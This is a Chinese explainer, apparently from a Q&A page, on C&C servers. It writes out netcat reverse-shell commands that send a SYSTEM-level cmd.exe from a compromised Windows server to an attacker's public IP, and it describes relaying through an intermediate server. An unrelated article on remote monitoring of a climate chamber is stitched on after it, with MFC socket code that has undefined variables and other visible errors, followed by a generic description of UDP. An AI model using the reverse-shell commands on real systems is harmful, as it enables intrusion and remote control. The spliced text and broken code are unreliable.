什么是C&C服务器

C&C 服务器的全称是 Command and Control Server，翻译过来就是命令和控制服务器

通常在做渗透测试的时候，在拿到一个 webshell 的时候，需要对服务器进行提权操作，如果是一台 windows 的服务器，提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权，有些 exp 可以直接在后面加参数，溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd，这时就需要将低权限的 cmd shell 反弹回本地，这里用 nc 在本地执行：nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接，假设电脑 IP 是公网的，并且 IP 为 114.114.114.114，然后在目标服务器就可以执行：nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地，这时你就可以通过 nc 建立的这个 shell 进行通信，发送你要执行的命令，在远程服务器接收到命令之后执行并将结果返回，这时本机电脑就是一个简易的 C&C 服务器。

扩展资料：

C&C 服务器使目标机器可以接收来自服务器的命令，从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接，所以可以使用一台中转服务器，这台中转服务器有一个公网 IP 地址是：111.111.111.111，这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口，这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

以人工气候室远程监控系统为例2．1通信接口-----套接字的创建本文所要实现的是对一个小型人工气候室的远程监控,在异地或同一个局域网范围内,可以不必亲临现场就可以观测到人工气候室当前的温度状况和运行中的温度曲线,由于在远端只是需要查询和观察,因此只要处理好现场监控计算机和远端客户机之间的通信和数据传输就可以了。这样不用占用现场计算机的CPU处理时间,从而能节省资源以便做更多的处理现场的工作。和远端服务器的连接可以分为以下几个过程:(1) 服务进程总是先于客户进程启动,服务进程首先创造套接字。(2) 将本地地址绑定到所创建的套接字上以使在网络上标识该套接字。 (3) 将套接字置于监听模式并准备接受连接请求。(4) 客户端创建套接字,调用SOCKET函数,方法同上。(5) 客户向服务器提出连接请求。(6) 当请求到来时,被阻塞服务进程的accept()函数如(3)中所述生成一个新的套接字与客户端建立连接,并向客户端返回接收信号。(7) 一旦客户机的套接字收到来自服务器的接收信号,则表示客户机与服务器的连接已就绪,则可以进行数据传输了。(8) 关闭套接字。一旦任务完成,就必须关掉连接已释放套接字占用的资源。创建连接的服务器端和客户端代码简述如下:服务器端：void CServerView::OnStart ()

{ Started=TRUE；

m_Start.EnableWindow(!Started)；

try

{ g_sListen.Create(6802,SOCK_DGRAM,NULL)；

g_sListen.Bind(6802,m_IP)；//,6802为端口号,m_IP为服务器端IP地址

g_sListen.Listen()；

((CServerDoc*)GetDocument())->g_pchatListen=new CChatLsnSock(

(CAnyServerDoc*)GetDocument())；

CChatLsnSock* g_pchatListen=((CAnyServerDoc*)GetDocument())->g_pchatListen；

g_pchatListen->Create(9999,SOCK_STREAM)；//侦听聊天室连接套接字创建

g_pchatListen->Listen()；

GetDlgItem(IDC_RESPONSE)->SetWindowText("开始对客户端服务!")；

}

服务端开启后的运行界面如图1所示。

客户端：

void CClientView::OnClientStart()

{m_sockRecv.Create(6801,SOCK_DGRAM,m_ClientIP)//6801为端口号，m_ClientIP为客户端IP<br>m_sockRecv.Bind(6801,m_ClientIP)；<br>m_timer1=SetTimer(1,1000,NULL)；<br>m_timer2=SetTimer(2,250,NULL)；<br>GetLocalTime(&SysTime)；<br>m_StartTime=SysTime；<br>m_WavePlay.SetStartTime(SysTime.wYear,SysTime.wMonth,SysTime.wDay,SysTime.wHour,SysTime.wMinute,SysTime.wSecond)；//画出曲线初始时间<br>this->m_CurrentSysTime.SetFocus()；<br>}

2．2网络中的数据传输与监控实现基于网络的远程控制和测量应用中，一般数据传输采用二进制格式是主丛式，在人工气候室的远程监控系统中，通信双方需要传输的数据流量少，下位机一般是微控制器等嵌入式系统，数据处理能力较慢，通信双方也不必保持紧密联系，因此大多采用UDP协议，基于点对点的方式，双方通信的数据可靠性可以通过定义数据表示格式来保证。另外采用把通过网络传输过来的数据在客户端用曲线的形式重画显示，用了一个本人自做的一个ActiveX控件来显示接收的数据，在数据传输过程中存在的滞后时间很短，可以忽略不计。在设备运行时，服务器端的状态一直保持开启，测温元件把测量到的温度值传入到控制微机，同时通过网络传到远程客户端，远程连接通过输入服务器端的IP地址，输入指定的用户名和密码，就可以连接上，从而就实现了远程监控。建立连接后客户端就可以接收发送过来的温度值且用曲线形式显示出来：void CClientView::OnDataReceive()

{

extern CListBox* pmyListBox；

char szTempRecv[20]；

CString szIP(m_IP)；//得到服务器端的IP

UINT uPort=6802；//指出端口

int iTempRecv=m_sockRecv.ReceiveFrom(szRecv,10,szIP,uPort,0)；

szRecv[iRecv]='\0'；

m_szRecv=szTempRecv；

m_listBox.AddString((LPCTSTR)m_szRecv)；

int nCount=m_listBox.GetCount()；

if (nCount >0)

m_listBox.SetCurSel(nCount-1)；

GetLocalTime(&SystemTime)；

m_NowTime=SystemTime；

CString strSysTime；

strSysTime.Format(_T("%d-%d-%d %d:%d:%d"),SystemTime.wYear,SystemTime.wMonth,SystemTime.wDay,SystemTime.wHour,SystemTime.wMinute,SystemTime.wSecond)；

UpdateData(FALSE)；

CurABSTime=(m_NowTime-m_StartTime).GetTotalSeconds()；

m_WavePlay.SetPoint2(CurABSTime,atoi(m_szRecv))；//用自做ActiveX控件画出温度曲线

完成后通过远程登录看到的运行界面

UDP协议全称是用户数据报协议，在网络中它与TCP协议一样用于处理数据包，是一种无连接的协议。在OSI模型中，在第四层--传输层，处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点，也就是说，当报文发送之后，是无法得知其是否安全完整到达的。UDP用来支持那些需要在计算机之间传输数据的网络应用。包括网络视频会议系统在内的众多的客户/服务器模式的网络应用都需要使用UDP协议。UDP协议从问世至今已经被使用了很多年，虽然其最初的光彩已经被一些类似协议所掩盖，但是即使是在今天UDP仍然不失为一项非常实用和可行的网络传输层协议。

---